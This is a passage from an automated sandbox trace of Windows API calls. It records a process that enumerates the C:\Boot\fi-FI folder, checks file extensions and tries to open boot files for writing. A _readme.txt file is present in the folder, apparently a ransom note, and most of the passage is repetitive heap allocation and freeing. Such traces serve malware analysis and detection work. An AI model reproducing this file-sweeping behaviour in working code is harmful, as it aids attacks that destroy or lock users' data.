(pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0122.489] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.489] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.489] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.489] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.490] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned=".mui" [0122.490] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.490] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.490] PathFindExtensionW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned=".txt" [0122.490] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13b17c90, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13b17c90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13b17c90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.490] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.490] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.490] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.490] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.490] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.491] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.491] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.492] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.492] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.493] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.493] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.494] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.494] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.495] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.496] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.496] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.496] 